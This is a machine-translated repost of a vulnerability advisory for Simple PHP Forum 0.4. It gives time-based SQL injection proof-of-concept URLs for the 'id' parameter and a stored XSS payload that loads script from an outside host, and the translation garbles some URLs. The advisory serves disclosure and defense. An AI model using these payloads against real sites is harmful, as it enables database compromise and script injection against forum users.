Sphpforum 0.4 multiple defects and repair

Source: Internet
Author: User

Author: loneferret of Offensive Security
 
Affected products: sphpforum
 
Affected versions: 0.4 (older versions may be affected)
 
: Http://sourceforge.net/projects/sphpforum/
 
Program Overview
 
# Simple PHP Forum is a PHP based forum/BBS board is designed to be small, simple,
 
# Fast and allow easy integration into any existing web site.
 

 
Defect Analysis:
 
# Due to improper input sanitation, parameters are prone to SQL injection. Stored
 
# Crossed site scripting is also present in some forms.
 

 
# PoC 1:
 
# SQL Injection
 
# Page: view_topic.php/view_profile.php?
 
Defect parameter 'id'
 
# Http://www.2cto.com/sphpforum/sphpforum-0.4/view_topic.php? Id = 50% 27% 20and % 20 sleep % 2810% 29% 20and % 20% 271% 27 = % 271
 
# Http: // 172.16.194.148/sphpforum/sphpforum-0.4/view_profile.php? Id = loneferret % 27% 20and % 20 sleep % 2810% 29% 20and % 20% 27 = % 271%
 

 
# PoC 2:
 
# Stored XSS
 
# Page: create_topic.php
 
# Vulnerable field: Topic
 
# Payload: <script src = http://ha.ckers.org/xss.js> </SCRIPT>
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.